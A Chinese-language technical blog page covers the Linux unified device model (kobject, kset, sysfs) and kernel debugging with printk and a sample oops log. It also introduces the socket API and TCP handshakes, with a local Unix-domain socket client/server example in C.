可以列举系统中所有设备，观察它们的状态，并查看它们连接的总线
可以将系统中的全部设备以树的形式完整，有效的展示出来—包括所有总线和内部连接
可以将设备和其对应的驱动联系起来，反之亦然
可以将设备按照类型加以归类，无需理解物理设备的拓扑结构
可以沿设备树的叶子向其根的反向依次遍历，以保证能以正确的顺序关闭设备电源

kobject：

统一设备模型的核心部分就是 kobject，通过下面对 kobject 结构体的介绍，可以大致了解它是如何使得各个物理设备能够以树结构的形式组织起来的

struct kobject {
    const char        *name;                   /* kobject 名称 */
    struct list_head    entry;               /* kobject 链表 */
    struct kobject        *parent;             /* kobject 的父对象，说明kobject是有层次结构的 */
    struct kset        *kset;                   /* kobject 的集合，接下来有详细介绍 */
    struct kobj_type    *ktype;              /* kobject 的类型，接下来有详细介绍 */
    struct sysfs_dirent    *sd;                 /* 在sysfs中，这个结构体表示kobject的一个inode结构体，sysfs之后也会介绍 */
    struct kref        kref;                    /* 提供 kobject 的引用计数 */
    /* 一些标志位  */
    unsigned int state_initialized:1;       
    unsigned int state_in_sysfs:1;
    unsigned int state_add_uevent_sent:1;
    unsigned int state_remove_uevent_sent:1;
    unsigned int uevent_suppress:1;
};

kobject 本身不代表什么实际的内容，一般都是嵌在其他数据结构中来发挥作用

struct kset {
    struct list_head list;    /* 表示kset中所有kobject的链表 */
    spinlock_t list_lock;     /* 用于保护 list 的自旋锁*/
    struct kobject kobj;      /* kset中嵌入的一个kobject，使得kset也可以表现的像一样kobject一样*/
    struct kset_uevent_ops *uevent_ops;  /* 处理kset中kobject的热插拔事件 提供了与用户空间热插拔进行通信的机制 */
};

cdev 中嵌入了 kobject 之后，就可以通过 cdev->kboj.parent 建立 cdev 之间的层次关系，通过 cdev->kobj.entry 获取关联的所有 cdev 设备等
总之，嵌入了 kobject 之后，cdev 设备之间就有了树结构关系，cdev 设备和其他设备之间也有可层次关系

sysfs文件系统

sysfs 文件系统是一个处于内存中的虚拟文件系统，它为我们提供 kobject 对象层次结构的视图，帮助用户可以以一个简单文件系统的方式来观察各种设备的拓扑结构：

sysfs 代替了先前处于 proc 下的设备文件
sysfs 就被挂载在 sys 目录中

1
2
3

➜  labs git:(master) ✗ ls /sys
block  class  devices   fs          kernel  power
bus    dev    firmware  hypervisor  module

block：每个子目录对应一个系统中已经注册的块设备
bus：提供了一个系统的总线视图
class：包含了以高层功能逻辑组织起来的系统设备视图
dev：已经注册的设备结点视图
devices：系统中设备拓扑结构视图（该目录将设备模型导出到用户空间）
firmware：包含一些诸如 ACPI EDD EFI 等底层子系统的特殊树
fs：已注册文件系统的视图
kernel：包含内核配置项和状态信息
module：包含系统已加载模块的信息
power：包含系统范围的电源管理数据

内核调试

printk

内核提供的打印函数 printk 和C语言提供的 printf 功能几乎相同：

printk 的弹性极佳，可以在任何时候进行调用
printk 和 printf 的区别就在于，前者可以提供一个日志等级
内核会根据其日志等级来判断是否在终端上打印消息

日志等级	描述
KERN_EMERG	一个紧急情况
KERN_ALERT	一个需要被立刻注意到的错误
KERN_CRIT	一个临界情况
KERN_ERR	一个错误
KERN_WARNING	一个警告
KERN_NOTICE	一个普通情况
KERN_INFO	一条非正式的消息
KERN_DEBUG	一条调试消息

oops

oops 是内核通知用户有错误发生的最常用方式，这个过程包括：

向终端上输出错误信息
输出寄存器中保存的信息
输出可供跟踪的回溯线索

下面是一个 oops 的实例：

➜  5-oops-mod git:(master) ✗ dmesg | tail -64
[  139.812510] before init
[  139.812512] BUG: kernel NULL pointer dereference, address: 0000000000000000
[  139.812515] #PF: supervisor write access in kernel mode
[  139.812516] #PF: error_code(0x0002) - not-present page
[  139.812517] PGD 0 P4D 0 
[  139.812519] Oops: 0002 [#1] SMP NOPTI
[  139.812521] CPU: 1 PID: 3543 Comm: insmod Tainted: G           OE     5.15.0-48-generic #54~20.04.1-Ubuntu
[  139.812523] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020
[  139.812524] RIP: 0010:my_oops_init+0x15/0x31 [oops_mod]
[  139.812528] Code: Unable to access opcode bytes at RIP 0xffffffffc0b1bfeb.
[  139.812528] RSP: 0018:ffffb1bb85c6bb98 EFLAGS: 00010246
[  139.812530] RAX: 000000000000000b RBX: 0000000000000000 RCX: 0000000000000027
[  139.812530] RDX: 0000000000000000 RSI: ffffb1bb85c6b9e0 RDI: ffff942775e60588
[  139.812531] RBP: ffffb1bb85c6bb98 R08: ffff942775e60580 R09: 0000000000000001
[  139.812532] R10: 0000000000000001 R11: 000000000000000f R12: ffffffffc0b1c000
[  139.812533] R13: ffff942695cb5ac0 R14: ffffffffc0b1e000 R15: 0000000000000000
[  139.812534] FS:  00007f0f977db740(0000) GS:ffff942775e40000(0000) knlGS:0000000000000000
[  139.812535] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  139.812536] CR2: ffffffffc0b1bfeb CR3: 00000001a9510003 CR4: 0000000000770ee0
[  139.812557] PKRU: 55555554
[  139.812558] Call Trace:
[  139.812559]  <TASK>
[  139.812561]  do_one_initcall+0x46/0x1e0
[  139.812565]  ? __cond_resched+0x19/0x40
[  139.812568]  ? kmem_cache_alloc_trace+0x15a/0x420
[  139.812571]  do_init_module+0x52/0x230
[  139.812574]  load_module+0x1376/0x1600
[  139.812576]  __do_sys_finit_module+0xbf/0x120
[  139.812578]  ? __do_sys_finit_module+0xbf/0x120
[  139.812579]  __x64_sys_finit_module+0x1a/0x20
[  139.812581]  do_syscall_64+0x59/0xc0
[  139.812583]  ? fput+0x13/0x20
[  139.812584]  ? ksys_mmap_pgoff+0x14b/0x2a0
[  139.812586]  ? exit_to_user_mode_prepare+0x3d/0x1c0
[  139.812588]  ? exit_to_user_mode_prepare+0x3d/0x1c0
[  139.812589]  ? syscall_exit_to_user_mode+0x27/0x50
[  139.812591]  ? __x64_sys_mmap+0x33/0x50
[  139.812592]  ? do_syscall_64+0x69/0xc0
[  139.812593]  ? do_syscall_64+0x69/0xc0
[  139.812594]  entry_SYSCALL_64_after_hwframe+0x61/0xcb
[  139.812596] RIP: 0033:0x7f0f9792173d
[  139.812598] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 23 37 0d 00 f7 d8 64 89 01 48
[  139.812599] RSP: 002b:00007ffdee07d0f8 EFLAGS: 00000246 ORIG_RAX: 0000000000000139
[  139.812600] RAX: ffffffffffffffda RBX: 000055e6a61767c0 RCX: 00007f0f9792173d
[  139.812601] RDX: 0000000000000000 RSI: 000055e6a5c91358 RDI: 0000000000000003
[  139.812602] RBP: 0000000000000000 R08: 0000000000000000 R09: 00007f0f979f8580
[  139.812602] R10: 0000000000000003 R11: 0000000000000246 R12: 000055e6a5c91358
[  139.812603] R13: 0000000000000000 R14: 000055e6a6176760 R15: 0000000000000000
[  139.812604]  </TASK>
[  139.812605] Modules linked in: oops_mod(OE+) isofs xt_conntrack xt_MASQUERADE nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo xt_addrtype iptable_filter iptable_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 libcrc32c bpfilter br_netfilter bridge stp llc rfcomm aufs overlay bnep vsock_loopback vmw_vsock_virtio_transport_common vmw_vsock_vmci_transport vsock binfmt_misc nls_iso8859_1 intel_rapl_msr intel_rapl_common kvm_intel kvm crct10dif_pclmul ghash_clmulni_intel aesni_intel crypto_simd vmw_balloon cryptd btusb input_leds btrtl btbcm btintel bluetooth joydev serio_raw ecdh_generic ecc vmw_vmci mac_hid sch_fq_codel vmwgfx ttm drm_kms_helper cec rc_core fb_sys_fops syscopyarea sysfillrect sysimgblt msr parport_pc ppdev drm lp parport ip_tables x_tables autofs4 hid_generic crc32_pclmul usbhid ahci libahci psmouse hid e1000 mptspi pata_acpi mptscsih mptbase i2c_piix4 scsi_transport_spi
[  139.812636] CR2: 0000000000000000
[  139.812637] ---[ end trace 840a29bcd63bee0c ]---
[  139.812638] RIP: 0010:my_oops_init+0x15/0x31 [oops_mod]
[  139.812640] Code: Unable to access opcode bytes at RIP 0xffffffffc0b1bfeb.
[  139.812641] RSP: 0018:ffffb1bb85c6bb98 EFLAGS: 00010246
[  139.812642] RAX: 000000000000000b RBX: 0000000000000000 RCX: 0000000000000027
[  139.812642] RDX: 0000000000000000 RSI: ffffb1bb85c6b9e0 RDI: ffff942775e60588
[  139.812643] RBP: ffffb1bb85c6bb98 R08: ffff942775e60580 R09: 0000000000000001
[  139.812644] R10: 0000000000000001 R11: 000000000000000f R12: ffffffffc0b1c000
[  139.812644] R13: ffff942695cb5ac0 R14: ffffffffc0b1e000 R15: 0000000000000000
[  139.812645] FS:  00007f0f977db740(0000) GS:ffff942775e40000(0000) knlGS:0000000000000000
[  139.812646] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  139.812647] CR2: ffffffffc0b1bfeb CR3: 00000001a9510003 CR4: 0000000000770ee0
[  139.812664] PKRU: 55555554

网络相关知识：Socket简述

Posted on 2022-08-18 Edited on 2022-09-04 In Knowledge 4.9k 4 mins.

TCP/IP & UDP

TCP/IP（Transmission Control Protocol/Internet Protocol）：

输控制协议/网间协议，是一个工业标准的协议集（一系列网络协议的总和），它是为广域网设计的

UDP（User Data Protocol）：

用户数据报协议，是与 TCP 相对应的协议，它是属于 TCP/IP 协议族中的一种

Socket简述

Socket 就是应用层与 TCP/IP 协议族通信的中间软件抽象层，它是一组接口：

socket 可以大大简化“网络通信编程”，我们不需要完全掌握这种编程的各个细节，只需要使用 socket 的接口就可以了

网络通信

本地的进程间通信（IPC）有很多种方式，但可以总结为下面4类：

消息传递（管道、FIFO、消息队列）
同步（互斥量、条件变量、读写锁、文件和写记录锁、信号量）
共享内存（匿名的和具名的）
远程过程调用（Solaris 门和 Sun RPC）

在进行网络通信之前，系统需要先“识别”程序，TCP/IP 协议族完成了这个功能：

网络层的 ip地址 可以唯一标识网络中的主机
传输层的 协议+端口 可以唯一标识主机中的应用程序（进程）

这样利用三元组（ip地址，协议，端口）就可以标识网络的进程了

Socket函数

1	int socket(int domain, int type, int protocol)

用于创建一个 socket 描述符，它唯一标识一个 socket

domain：即协议域，又称为协议族（family），协议族决定了 socket 的地址类型，在通信中必须采用对应的地址
type：指定socket类型
protocol：故名思意，就是指定协议
return：返回一个文件描述符 sockfd（描述字它存在于协议族空间中，但没有一个具体的地址）
- 如果想要给它赋值一个地址，就必须调用 bind() 函数
- 否则就当调用 connect() 时系统会自动随机分配一个端口

1	int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

把一个地址族中的特定地址赋给 socket

sockfd：即socket描述字，它是通过 socket() 函数创建了，唯一标识一个socket，bind()函数就是将给这个描述字绑定一个名字
addr：一个 const struct sockaddr * 指针，指向要绑定给 sockfd 的协议地址，这个地址结构根据地址创建 socket 时的地址协议族的不同而不同
addrlen：地址的长度

通常服务器在启动的时候都会绑定一个众所周知的地址（如ip地址+端口号），用于提供服务，客户就可以通过它来接连服务器

而客户端就不用指定，有系统自动分配一个端口号和自身的ip地址组合就行

这就是为什么通常服务器端在 listen 之前会调用 bind，而客户端就不会调用，而是在 connect 时由系统随机生成一个

socket 函数创建的 socket 默认是一个主动类型的，listen 函数将 socket 变为被动类型的，等待客户的连接请求：

1	int listen(int sockfd, int backlog)

sockfd：即 socket 描述字
backlog：相应 socket 可以排队的最大连接个数

服务端通过调用 accept 函数来接受客户端的 connect 请求：

1	int accept(int sockfd, struct sockaddr addr, socklen_t addrlen)

sockfd：即 socket 描述字
addr：服务器的 socket 地址
addrlen：地址的长度

客户端通过调用 connect 函数来建立与 TCP 服务器的连接（服务器必须先调用 listen 开启监听）：

1	int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

sockfd：即 socket 描述字
addr：服务器的 socket 地址
addrlen：地址的长度

TCP 服务器端依次调用 socket、bind、listen 之后，就会监听指定的 socket 地址了

TCP 客户端依次调用 socket、connect 之后就想 TCP 服务器发送了一个连接请求

TCP 服务器监听到这个请求之后，就会调用 accept 函数取接收请求，这样连接就建立好了

如果 accpet 成功，那么其返回值是由内核自动生成的一个全新的描述字，代表与返回客户的 TCP 连接

三次握手四次释放

一，TCP建立连接要进行“三次握手”，即交换三个分组，大致流程如下：

客户端向服务器发送一个 SYN J
服务器向客户端响应一个 SYN K，并对 SYN J 进行确认 ACK J+1
客户端再想服务器发一个确认 ACK K+1

当客户端调用 connect 时，触发了连接请求，向服务器发送了 SYN J 包，这时 connect 进入阻塞状态
服务器监听到连接请求，即收到 SYN J 包，调用 accept 函数接收请求向客户端发送 SYN K ，ACK J+1，这时 accept 进入阻塞状态
客户端收到服务器的 SYN K ，ACK J+1 之后，这时 connect 返回，并对 SYN K 进行确认，服务器收到 ACK K+1 时，accept 返回，至此三次握手完毕，连接建立

二，socket中有四次握手释放连接的过程，流程如下：

某个应用进程首先调用 close 主动关闭连接，这时 TCP 发送一个 FIN M
另一端接收到 FIN M 之后，执行被动关闭，对这个 FIN 进行确认（它的接收也作为文件结束符 EOF 传递给应用进程，因为 FIN 的接收意味着应用进程在相应的连接上再也接收不到额外数据）
一段时间之后，接收到文件结束符 EOF 的应用进程调用 close 关闭它的 socket，这导致它的 TCP 也发送一个 FIN N
接收到这个 FIN 的源发送端 TCP 对它进行确认

这样每个方向上都有一个 FIN 和 ACK

本地进程间通信案例

服务端

#include <stdio.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/un.h>   
   
#define CAN_SERVICE "B" 
int main(void)  
{      
    int ret;     
    int len;  
    int accept_fd;
    int socket_fd; 
    static char recv_buf[1024];
    socklen_t clt_addr_len; 
    struct sockaddr_un clt_addr;  
    struct sockaddr_un srv_addr;  

    socket_fd=socket(PF_UNIX,SOCK_STREAM,0);  
    if(socket_fd<0)  
    {  
        perror("cannot create communication socket");  
        return 1;  
    }    
          
    // 设置服务端参数(服务端的sockaddr必须和客户端的sockaddr一样)  
    srv_addr.sun_family=AF_UNIX;  
    strncpy(srv_addr.sun_path,CAN_SERVICE,sizeof(srv_addr.sun_path)-1);  
    unlink(CAN_SERVICE);  
 
    // 绑定socket地址 
    ret=bind(socket_fd,(struct sockaddr*)&srv_addr,sizeof(srv_addr));  
    if(ret==-1)  
    {  
        perror("cannot bind server socket");  
        close(socket_fd);  
        unlink(CAN_SERVICE);  
        return 1;  
    }  
 
    // 监听   
    ret=listen(socket_fd,1);  
    if(ret==-1)  
    {  
        perror("cannot listen the client connect request");  
        close(socket_fd);  
        unlink(CAN_SERVICE);  
        return 1;  
    }  
 
    // 接受connect请求 
    len=sizeof(clt_addr);  
    accept_fd=accept(socket_fd,(struct sockaddr*)&clt_addr,&len);  
    if(accept_fd<0)  
    {  
        perror("cannot accept client connect request");  
        close(socket_fd);  
        unlink(CAN_SERVICE);  
        return 1;  
    }  
 
    // 读取和写入  
    memset(recv_buf,0,1024);  
    int num=read(accept_fd,recv_buf,sizeof(recv_buf));  
    printf("Message from client (%d)) :%s\n",num,recv_buf);    
         
    // 关闭socket
    close(accept_fd);  
    close(socket_fd);  
    unlink(CAN_SERVICE);  
    return 0;  
}

客户端

#include <stdio.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/un.h>  
 
#define CAN_SERVICE "B" 
int main(void)  
{ 
    int ret;  
    int socket_fd;   
    char snd_buf[1024];   
    static struct sockaddr_un srv_addr;  
    
    printf("%d\n",PF_UNIX);
    printf("%d\n",SOCK_STREAM);
    
    // 创建socket 
    socket_fd=socket(PF_UNIX,SOCK_STREAM,0);  
    if(socket_fd<0)  
    {  
        perror("cannot create communication socket");  
        return 1;  
    }
    
    // 设置客户端参数(客户端的sockaddr必须和服务端的sockaddr一样) 
    srv_addr.sun_family=AF_UNIX;  
    strcpy(srv_addr.sun_path,CAN_SERVICE);  
    
    // 连接到服务端
    ret=connect(socket_fd,(struct sockaddr*)&srv_addr,sizeof(srv_addr)); 
    if(ret==-1)  
    {  
        perror("cannot connect to the server");  
        close(socket_fd);  
        return 1;  
    }  
    memset(snd_buf,0,1024);  
    strcpy(snd_buf,"message from client");  
    
    // 读取和写入    
    write(socket_fd,snd_buf,sizeof(snd_buf));  
    close(socket_fd);  
    return 0;  
}

当 bind 执行以后，当前目录会出现一个名为 “B”(CAN_SERVICE) 的文件
当 unlink(CAN_SERVICE) 执行以后，文件 “B” 消失
如果不及时调用 unlink 的话，会出现 Address already in use 报错

参考：超详细的Socket通信原理和实例讲解 - 知乎

ARM 架构简述

搭建环境

数据类型和寄存器

ARM & THUMB

ARM 指令集

加载和存储

条件执行

栈和函数

手机 App 抓包

Linux 抓包

Linux 内核简述

Linux 内核源码的结构

进程和线程

进程的调度

系统调用

内核数据结构

中断处理

内核同步

系统时间

内存管理

虚拟文件系统

块I/O层

进程地址空间

页高速缓存&页回写

设备&模块

内核调试

TCP/IP & UDP

Socket简述

网络通信

Socket函数

三次握手 四次释放

本地进程间通信案例

三次握手四次释放